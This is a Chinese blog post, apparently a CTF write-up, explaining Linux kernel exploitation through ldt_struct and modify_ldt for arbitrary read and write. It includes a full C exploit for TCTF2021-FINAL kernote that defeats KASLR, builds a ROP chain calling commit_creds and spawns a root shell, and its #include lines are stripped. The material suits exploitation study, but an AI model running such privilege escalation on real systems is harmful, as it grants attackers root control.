• 利用ldt_struct 与 modify_ldt 系统调用实现任意地址读写


    利用ldt_struct 与 modify_ldt 系统调用实现任意地址读写

    ldt_struct与modify_ldt系统调用的介绍

    ldt_struct

    ldt局部段描述符表,里面存放的是进程的段描述符,段寄存器里存放的段选择子便是段描述符表中段描述符的索引。和ldt有关的结构体是ldt_struct

    struct ldt_struct {
        /*
         * Xen requires page-aligned LDTs with special permissions.  This is
         * needed to prevent us from installing evil descriptors such as
         * call gates.  On native, we could merge the ldt_struct and LDT
         * allocations, but it's not worth trying to optimize.
         */
        struct desc_struct    *entries;
        unsigned int        nr_entries;
    
        /*
         * If PTI is in use, then the entries array is not mapped while we're
         * in user mode.  The whole array will be aliased at the addressed
         * given by ldt_slot_va(slot).  We use two slots so that we can allocate
         * and map, and enable a new LDT without invalidating the mapping
         * of an older, still-in-use LDT.
         *
         * slot will be -1 if this LDT doesn't have an alias mapping.
         */
        int            slot;
    };
    

    这个结构体的大小仅有0x10,前8字节存放的还是一个指针,如果能够控制它,那么便可以进行接下来的任意地址读写。前8字节的entries指针指向desc_struct结构体,即段描述符,定义如下:

    /* 8 byte segment descriptor */
    struct desc_struct {
        u16    limit0;
        u16    base0;
        u16    base1: 8, type: 4, s: 1, dpl: 2, p: 1;
        u16    limit1: 4, avl: 1, l: 1, d: 1, g: 1, base2: 8;
    } __attribute__((packed));
    

    modify_ldt系统调用

    modify_ldt这个系统调用,是提供给我们用来获取或修改当前进程的LDT用的。我们看调用modify_ldt的几个用法,源码如下:

    SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr ,
            unsigned long , bytecount)
    {
        int ret = -ENOSYS;
    
        switch (func) {
        case 0:
            ret = read_ldt(ptr, bytecount);
            break;
        case 1:
            ret = write_ldt(ptr, bytecount, 1);
            break;
        case 2:
            ret = read_default_ldt(ptr, bytecount);
            break;
        case 0x11:
            ret = write_ldt(ptr, bytecount, 0);
            break;
        }
        /*
         * The SYSCALL_DEFINE() macros give us an 'unsigned long'
         * return type, but tht ABI for sys_modify_ldt() expects
         * 'int'.  This cast gives us an int-sized value in %rax
         * for the return code.  The 'unsigned' is necessary so
         * the compiler does not try to sign-extend the negative
         * return codes into the high half of the register when
         * taking the value from int->long.
         */
        return (unsigned int)ret;
    }
    

    我们除了系统调用号外传入的三个参数是func,ptr,bytecount,其中ptr指针指向的是user_desc结构体。这个结构体如下:

    struct user_desc {
        unsigned int  entry_number;
        unsigned int  base_addr;
        unsigned int  limit;
        unsigned int  seg_32bit:1;
        unsigned int  contents:2;
        unsigned int  read_exec_only:1;
        unsigned int  limit_in_pages:1;
        unsigned int  seg_not_present:1;
        unsigned int  useable:1;
    };
    

    任意地址读

    利用的函数是ldt_read,其关键源码如下:

    static int read_ldt(void __user *ptr, unsigned long bytecount)
    {
    //...
        if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) {
            retval = -EFAULT;
            goto out_unlock;
        }
    //...
    out_unlock:
        up_read(&mm->context.ldt_usr_sem);
        return retval;
    }
    

    这个函数直接调用copy_to_user(ptr, mm->context.ldt->entries, entries_size),向用户空间读取数据,如果我们可以控制entries,那么我们就可以实现任意地址读。

    如何控制entries?我们看write_ldt的源码可以看到调用alloc_ldt_struct为新的ldt_struct开辟了空间。

    static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
    {
        //...
    
        old_ldt       = mm->context.ldt;
        old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;
        new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries);
    
        error = -ENOMEM;
        new_ldt = alloc_ldt_struct(new_nr_entries);
        if (!new_ldt)
            goto out_unlock;
        //...
        return error;
    }
    

    再看alloc_ldt_struct的源码,调用了kamlloc去分配新空间。

    static struct ldt_struct *alloc_ldt_struct(unsigned int num_entries)
    {
        struct ldt_struct *new_ldt;
        unsigned int alloc_size;
    
        if (num_entries > LDT_ENTRIES)
            return NULL;
    
        new_ldt = kmalloc(sizeof(struct ldt_struct), GFP_KERNEL);
    //...
    

    我们就可以想到通过UAF去控制ldt_struct,修改entries即可读取想要的数据。

    trick:
    一般情况下page_offset_base + 0x9d000 处固定存放着secondary_startup_64函数的地址,及内核基址0x40.

    任意地址写

    利用的函数是write_ldt,其关键源码如下:

    static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
    {
        //...
    
        old_ldt       = mm->context.ldt;
        old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;
        new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries);
    
        error = -ENOMEM;
        new_ldt = alloc_ldt_struct(new_nr_entries);
        if (!new_ldt)
            goto out_unlock;
    
        if (old_ldt)
            memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE);
    
        new_ldt->entries[ldt_info.entry_number] = ldt;
    
        //...
    }
    

    我们可以看到拷贝是memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE),我们再看一下LDT_ENTRY_SIZE的定义

    /* Maximum number of LDT entries supported. */
    #define LDT_ENTRIES    8192
    /* The size of each LDT entry. */
    #define LDT_ENTRY_SIZE    8
    

    可以看出拷贝的量非常大。并且在拷贝结束之后有new_ldt->entries[ldt_info.entry_number] = ldt;这样一行代码。那我们就可以通过条件竞争的方式去改变new_ldt->entries,从而实现任意地址写。

    例题:TCTF2021-FINAL-kernote

    exp

    #define _GNU_SOURCE
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    
    
    int fd;
    size_t kernel_offset;
    size_t kernel_base;
    int seq_fd;
    int ret;
    size_t page_offset_base = 0xffff888000000000;
    size_t init_cred;
    size_t prepare_kernel_cred;
    size_t commit_creds;
    size_t pop_rdi_ret;
    size_t swapgs_restore_regs_and_return_to_usermode;
    
    void ErrExit(char* err_msg)
    {
    	puts(err_msg);
    	exit(-1);
    }
    
    void set(int index)
    {
        ioctl(fd, 0x6666, index);
    }
    
    void add(int index)
    {
        ioctl(fd, 0x6667, index);
    }
    
    void delete(int index)
    {
        ioctl(fd, 0x6668, index);
    }
    
    void edit(size_t data)
    {
        ioctl(fd, 0x6669, data);
    }
    
    int main()
    {
    	struct user_desc desc;
    	int pipe_fd[2] = {0};
    	size_t temp;
    	size_t *buf;
    	size_t search_addr;
    	
    	printf("\033[34m\033[1m[*] Start exploit\033[0m\n");
    
    	fd = open("/dev/kernote", O_RDWR);
    	if(fd<0)
    		ErrExit("[-] open kernote error");
    	/*
    	struct user_desc {
    	unsigned int  entry_number;
    	unsigned int  base_addr;
    	unsigned int  limit;
    	unsigned int  seg_32bit:1;
    	unsigned int  contents:2;
    	unsigned int  read_exec_only:1;
    	unsigned int  limit_in_pages:1;
    	unsigned int  seg_not_present:1;
    	unsigned int  useable:1;
    	};
    	*/
    
    	desc.entry_number = 0x8000 / 8;
    	desc.base_addr = 0xff0000;
    	desc.limit = 0;
    	desc.seg_32bit = 0;
    	desc.contents = 0;
    	desc.read_exec_only = 0;
    	desc.limit_in_pages = 0;
    	desc.seg_not_present = 0;
    	desc.useable = 0;
    	desc.lm = 0;
    
    	add(0);
    	set(0);
    	delete(0);
    	
    	syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));
    	while(1)
    	{
    		edit(page_offset_base);
    		ret = syscall(SYS_modify_ldt, 0, &temp, 8);
    		if(ret >= 0)
    			break;
    		page_offset_base+= 0x4000000;
    	}
    	printf("\033[32m\033[1m[+] Find page_offset_base=> \033[0m0x%lx\n", page_offset_base);
    	
    	pipe(pipe_fd);
    	buf = (size_t*) mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
    	search_addr = page_offset_base;
    	while(1)
    	{
    		edit(search_addr);
    		ret = fork();
    		if(!ret)
    		{
    			syscall(SYS_modify_ldt, 0, buf, 0x8000);
    			for(int i=0; i<0x1000; i++)
    				if(buf[i]>0xffffffff81000000 && (buf[i] & 0xfff) == 0x40)
    				{
    					kernel_base = buf[i] - 0x40;
    					kernel_offset = kernel_base - 0xffffffff81000000;
    				}
    			
    			write(pipe_fd[1], &kernel_base, 8);
    			exit(0);
    		}
    		
    		wait(NULL);
    		read(pipe_fd[0], &kernel_base, 8);
    		if(kernel_base)
    			break;
    		search_addr+= 0x8000;
    	}
    
    	kernel_offset = kernel_base - 0xffffffff81000000;
    	printf("\033[32m\033[1m[+] Find kernel base=> \033[0m0x%lx\n", kernel_base);
    	printf("\033[32m\033[1m[+] Kernel offset=> \033[0m0x%lx\n", kernel_offset);
    
    	add(1);
    	set(1);
    	delete(1);
    	
    	seq_fd = open("/proc/self/stat", O_RDONLY);
    	if(seq_fd<0)
    		ErrExit("[-] open seq error");
    	
    	edit(0xffffffff817c21a6 + kernel_offset);
    
    	init_cred = 0xffffffff8266b780 + kernel_offset;
    	prepare_kernel_cred = 0xffffffff810ca2b0 + kernel_offset;
    	commit_creds = 0xffffffff810c9dd0 + kernel_offset;
    	pop_rdi_ret = 0xffffffff81075c4c + kernel_offset;
    	swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0 + 10 + kernel_offset;
    
    	__asm__(
    	"mov r15,   0xbeefdead;"
    	"mov r14,   0x11111111;"
    	"mov r13,   pop_rdi_ret;" // start at there
    	"mov r12,   init_cred;"
    	"mov rbp,   commit_creds;"
    	"mov rbx,   swapgs_restore_regs_and_return_to_usermode;"
    	"mov r11,   0x66666666;"
    	"mov r10,   0x77777777;"
    	"mov r9,    0x88888888;"
    	"mov r8,    0x99999999;"
    	"xor rax,   rax;"
    	"mov rcx,   0xaaaaaaaa;"
    	"mov rdx,   8;"
    	"mov rsi,   rsp;"
    	"mov rdi,   seq_fd;"
    	"syscall"
    	);
    
    	system("/bin/sh");
    	return 0;
    }
    
    

    __EOF__

  • 本文作者: 狒猩橙
  • 本文链接: https://www.cnblogs.com/pwnfeifei/p/16692658.html
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    Cannot download sources:IDEA源码无法下载
    【Linux】常用文件管理命令
    JavaScript
    web前端-javascript-逻辑运算符(! 非取反,短路的&& 与,短路的|| 或,&& || 非布尔值的情况,对于非布尔值进行与或运算时,会先将其转换为布尔值,然后再运算,并且返回)
    EXCEL使用VBA一键批量转换成PDF
    Talk|加州大学圣地亚哥分校程旭欣:视觉反馈下足式机器人的全身操作与运动
    一位同学的Python大作业【分析当当网书籍价格、出版社、电子书版本占比数据】
    nmap 扫描内网IP, 系统, 端口
    # 解析Pikachu靶场:一个安全研究的练习场
    3.7背景色半透明
  • 原文地址:https://www.cnblogs.com/pwnfeifei/p/16692658.html